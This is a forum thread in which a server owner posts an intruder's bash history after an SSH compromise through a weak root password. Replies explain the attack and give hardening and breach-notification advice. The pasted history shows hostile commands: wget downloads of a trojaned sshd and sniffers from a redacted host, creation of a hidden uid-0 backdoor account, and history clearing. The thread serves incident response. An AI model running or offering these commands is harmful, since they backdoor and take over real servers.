unauthorized access to the server!

lik86 · 10-24-2011, 05:05 PM

Today when I logged on my server
I noticed that there is no log of IP
Everything is cleared

The only thing remaining is bash_history

Code:

wget [ADDRESS]/drugssniff.tgz ; tar xzvf drugssniff.tgz ; rm -rf drugssniff.tgz ; cd sshdi ; nano setup
vi setup
./setup
cd
w
last -10
last
w
/usr/sbin/useradd -o -u 0 oracle
passwd oracle
cat /etc/passwd
[asswd man
passwd man
cd /var/tmp
ls
mkdir ". "
cd ". "
ls
wget http://download.microsoft.com/download/win2000platform/SP/SP3/NT5/EN-US/W2Ksp3.exe 
wget [ADDRESS]/stealth.tgz ; tar zxvf stealth.tgz ; rm -rf stealth.tgz ; cd stealth 
vi cyc.acc
vi cyc.set
./syslogd
hsitory -c
w
cd /var/tmp
ls
mkdir ". "
cd ". "
ls
ls
rm -rf *
ls
wget [ADDRESS]/redirecte.tar.gz
tar zxvf redirecte.tar.gz
ls
cd redirecte_linux_v1.1
ls
screen
./start
./go.sh 89
cd ..
cd ..
rm -rf ...
exit
w
cat /proc/cpuinfo
cd /var/tmp
wget [ADDRESS]/snif.tgz
tar zxvf snif.tgz
rm -rf snif.tgz
cd .snf
./inst
cd ..
rm -rf .snf
cd /var/log
ls -a
mkdir ...
cd ...
wget [ADDRESS]/scn.tgz
tar zxvf scn.tgz
rm -rf scn.tgz
cd ...
screen -r
chmod +x *
./screen
screen
exit

Does someone can tell me what happened here??

countach74 · 10-24-2011, 05:27 PM

That's not good. Looks like someone got in and downloaded software to your system. Odd that they didn't clear bash history. I'm no expert on security, but it looks like deleting the files in '/var/tmp. ' would be a good idea, as would changing passwords and overall locking down the system. It would be great to find how he or she got in. Do you have any weak passwords on your system?

lik86 · 10-24-2011, 05:45 PM

I installed the system again
changed the ssh port and put a new pass

I had a weak password

It's so stupid of me :/

how to install denyhosts?

countach74 · 10-24-2011, 05:54 PM

I recommend using public key authentication. I don't leave anything important accessible to standard passwords. It's just too risky (although a complex password should work good enough, I suppose..).

OlRoy · 10-24-2011, 06:30 PM

Quote:

Originally Posted by lik86

Does someone can tell me what happened here??

The attacker installed a trojaned version of SSHd which would record your passwords. Added a user named oracle with root privileges. Made the "/var/tmp/. " directory, then downloaded and installed the EnergyMech IRC bot. Then downloaded and installed a Counter Strike server. And got some tools that would allow him to scan for and launch password guessing attacks on SSHd servers.

1. How did you conclude the attacker got in through a weak password?
2. What kind of server was it?

lik86 · 10-25-2011, 04:52 AM

I recently installed the server and I had a working pass such as 12345
I needed to change the pass after finishing configuring, but unfortunately i didnt :/

It was a small web and ftp server with my users information, i just hope that someone who has done this, these data do not mean anything.

fukawi1 · 10-25-2011, 05:14 AM

If you mean your root password was "1234", if you didn't already know, it is PARAMOUNT to disable root login in sshd_config..

Root is the ONE username that the attacker knows is a constant. disabling root login via ssh, means that the attacker has to brute force the username, as well as the password.

Using a username that isn't easily detected from the content served by the server is also a good idea. ie:
Hosting a personal blog called "[nicknames] blog" would be a good starting point for the username to start an brute force attack.

lik86 · 10-25-2011, 05:22 AM

tnx for your help
I'm not a linux expert, but I'm learning along the way, from my mistakes unfortunately.

If you have any idea how to prevent something like this to happen again
accept all the ideas

fukawi1 · 10-25-2011, 05:55 AM

A couple more ideas.
fail2ban - will monitor login attempts, and ban an IP after $x attempts

If you have a static IP on all the internet connections you connect to the server from, consider a firewall rule to only open ssh to those IP's

Another option is to create a VPN between the server, and client/s, So ssh can be set to only listen on, and also firewalled open to the VPN ip address.

lik86 · 10-25-2011, 06:29 AM

Code:

Oct 25 00:59:50 server1 sshd[1965]: Failed password for root from 201.236.221.254 port 50499 ssh2
Oct 25 00:59:52 server1 sshd[1967]: Invalid user oracle from 201.236.221.254
Oct 25 00:59:52 server1 sshd[1967]: pam_unix(sshd:auth): check pass; user unknown
Oct 25 00:59:52 server1 sshd[1967]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=201.236.221.254
Oct 25 00:59:54 server1 sshd[1967]: Failed password for invalid user oracle from 201.236.221.254 port 50763 ssh2
Oct 25 00:59:55 server1 sshd[1969]: Invalid user httpd from 201.236.221.254
Oct 25 00:59:55 server1 sshd[1969]: pam_unix(sshd:auth): check pass; user unknown
Oct 25 00:59:55 server1 sshd[1969]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=201.236.221.254
Oct 25 00:59:57 server1 sshd[1969]: Failed password for invalid user httpd from 201.236.221.254 port 51031 ssh2
Oct 25 00:59:59 server1 sshd[1971]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=201.236.221.254  user=root
Oct 25 01:00:01 server1 CRON[1973]: pam_unix(cron:session): session opened for user smmsp by (uid=0)
Oct 25 01:00:01 server1 sshd[1971]: Failed password for root from 201.236.221.254 port 51298 ssh2
Oct 25 01:00:02 server1 sshd[1992]: Invalid user cwc from 201.236.221.254
Oct 25 01:00:02 server1 sshd[1992]: pam_unix(sshd:auth): check pass; user unknown
Oct 25 01:00:02 server1 sshd[1992]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=201.236.221.254
Oct 25 01:00:05 server1 sshd[1992]: Failed password for invalid user cwc from 201.236.221.254 port 51573 ssh2
Oct 25 01:00:06 server1 sshd[1994]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=201.236.221.254  user=root
Oct 25 01:00:08 server1 sshd[1994]: Failed password for root from 201.236.221.254 port 51895 ssh2
Oct 25 01:00:09 server1 sshd[1996]: Invalid user boryce from 201.236.221.254
Oct 25 01:00:09 server1 sshd[1996]: pam_unix(sshd:auth): check pass; user unknown
Oct 25 01:00:09 server1 sshd[1996]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=201.236.221.254
Oct 25 01:00:11 server1 sshd[1996]: Failed password for invalid user boryce from 201.236.221.254 port 52155 ssh2
Oct 25 01:00:12 server1 sshd[1999]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=201.236.221.254  user=root
Oct 25 01:00:14 server1 sshd[1999]: Failed password for root from 201.236.221.254 port 52409 ssh2
Oct 25 01:00:15 server1 sshd[2001]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=201.236.221.254  user=root
Oct 25 01:00:18 server1 sshd[2001]: Failed password for root from 201.236.221.254 port 52643 ssh2
Oct 25 01:00:19 server1 sshd[2003]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=201.236.221.254  user=root
Oct 25 01:00:21 server1 sshd[2003]: Failed password for root from 201.236.221.254 port 52999 ssh2
Oct 25 01:00:23 server1 sshd[2005]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=201.236.221.254  user=root
Oct 25 01:00:25 server1 sshd[2005]: Failed password for root from 201.236.221.254 port 53233 ssh2
Oct 25 01:00:26 server1 sshd[2007]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=201.236.221.254  user=root
Oct 25 01:00:28 server1 sshd[2007]: Failed password for root from 201.236.221.254 port 53495 ssh2
Oct 25 01:00:30 server1 sshd[2009]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=201.236.221.254  user=root
Oct 25 01:00:32 server1 sshd[2009]: Failed password for root from 201.236.221.254 port 53750 ssh2
Oct 25 01:00:34 server1 sshd[2011]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=201.236.221.254  user=root
Oct 25 01:00:35 server1 sshd[2011]: Failed password for root from 201.236.221.254 port 54025 ssh2
Oct 25 01:00:37 server1 sshd[2013]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=201.236.221.254  user=root
Oct 25 01:00:39 server1 sshd[2013]: Failed password for root from 201.236.221.254 port 54221 ssh2
Oct 25 01:01:01 server1 CRON[1973]: pam_unix(cron:session): session closed for user smmsp
Oct 25 01:09:11 server1 sshd[2027]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=cpc7-hari11-2-0-cust204.hari.cable.virginmedia.com  user=root
Oct 25 01:09:13 server1 sshd[2027]: Failed password for root from 80.194.233.205 port 50712 ssh2
Oct 25 01:09:47 server1 last message repeated 3 times
Oct 25 01:09:51 server1 sshd[2027]: Failed password for root from 80.194.233.205 port 50712 ssh2
Oct 25 01:09:52 server1 sshd[2027]: PAM 4 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=cpc7-hari11-2-0-cust204.hari.cable.virginmedia.com  user=root
Oct 25 01:09:52 server1 sshd[2027]: PAM service(sshd) ignoring max retries; 5 > 3
Oct 25 01:20:01 server1 CRON[2040]: pam_unix(cron:session): session opened for user smmsp by (uid=0)
Oct 25 01:21:01 server1 CRON[2040]: pam_unix(cron:session): session closed for user smmsp
Oct 25 01:32:18 server1 sshd[3098]: Accepted password for root from my ip port 19107 ssh2
Oct 25 01:32:18 server1 sshd[3098]: pam_unix(sshd:session): session opened for user root by (uid=0)
Oct 25 01:32:41 server1 sshd[3098]: pam_unix(sshd:session): session closed for user root
Oct 25 01:38:01 server1 CRON[3110]: pam_unix(cron:session): session opened for user root by (uid=0)
Oct 25 01:38:01 server1 CRON[3110]: pam_unix(cron:session): session closed for user root
Oct 25 01:40:01 server1 CRON[3115]: pam_unix(cron:session): session opened for user smmsp by (uid=0)
Oct 25 01:41:01 server1 CRON[3115]: pam_unix(cron:session): session closed for user smmsp

Here's part of the logs in fail2ban

OlRoy · 10-25-2011, 06:35 AM

Quote:

Originally Posted by lik86

I recently installed the server and I had a working pass such as 12345
I needed to change the pass after finishing configuring, but unfortunately i didnt :/

It was a small web and ftp server with my users information, i just hope that someone who has done this, these data do not mean anything.

"root 12345" was one of the logins in the pass_file that could of been tried. It's a reasonable assumption that is how it happened, but still an assumption since you didn't do a grep looking for SSHd accepted logins you don't recognize.

What's probably not a good assumption is assuming the attack you detected was the first attack. You could easily of been compromised before and not detected it. If you're detective measures were as good as your preventative, that's a likely scenario.

I don't know what kind of user data was on that box, but again, it might not be a good idea to assume or hope an attacker wouldn't have use for it. If you're in the U.S. there are some data breach notification laws that might apply to you that require you to notify users if it's reasonable to believe their personally identifiable information has been compromised. Even if you aren't legally required (I don't know I'm not a lawyer), it's certainly still a good idea to notify your users of the compromise. I'd also make sure your users know to change their passwords.

Noway2 · 10-26-2011, 04:20 PM

Quote:

Originally Posted by lik86

I installed the system again
changed the ssh port and put a new pass

Normally, at LQ-Sec we recommend a thorough investigation. In your case, you lost the potential evidence, but you also know you did something stupid (allow root SSH with a poor password). As the saying goes, do stupid things, win stupid prizes.

There have been quite a few threads in this forum regarding hardening of your server that you should review.
If I may ask, what services are you planning to make available as you should focus your efforts on these.

Also, if you are considering using any form of host based intrusion detection, the best time to install this is right after you perform a clean installation and have taken care of securing SSH.

salasi · 10-27-2011, 11:53 AM

Quote:

Originally Posted by lik86

changed the ssh port and put a new pass

I had a weak password

Bear in mind that changing the ssh port alone isn't a robust security measure; in combination with other measures, a changed ssh port may well be a worthwhile additional measure, but, on its own, isn't great. It does deter a lot of the 'script kiddie' type attacks...but that's almost the same as saying it only leaves the more competent attacks remaining (and it wouldn't take much of an advance for the scripted attacks to get to the point where it hardly slows them down at all).

Obviously, the weak password wasn't a good thing, but you should definitely prohibit any ssh root login (in sshd_config) and log in as an ordinary user and use su or sudo to do stuff that is only allowed to root. Ideally, you'd limit ssh to listed hosts, if feasible (also, sshd_config).

There is more on ssh and the various measures that can be taken here, but that should be ok in the very short term.

Note that in the 500 worst passwords, out of the top 6 worst passwords of all time, four are simple numeric sequences like yours. And, in the 20 most common passwords, the top two are 123456 and 12345. With more access, I'd come round there and slap you around the head with a wet fish (purely as an act of generosity, of course), but if you imagine that you have been slapped round the head with a wet fish, that might work (PS: that was an attempt at humour, but I really wanted to grab your attention to the fact that these were not only weak passwords, but very weak passwords. When you think that all of the bad guys want to get access to the root account in order to something evil, then you can see how a weak root password is asking for trouble...and trouble is what you got. Sorry to have gone on about it, but I'd hate to think that you've just gone for a slightly-less-weak password. Then, the wet fish would truly be called for.)

There is a lot of activity from 201.236.221.254, including an attempt to log in as 'Oracle'. Given that the previous attacker created an 'Oracle' account with root privs, this could be the previous attacker trying to get back in. There are also some attempts from 80.194.233.205; ensure that both of these get correctly treated (unless 80.194.233.205 was you forgetting your new password, of course).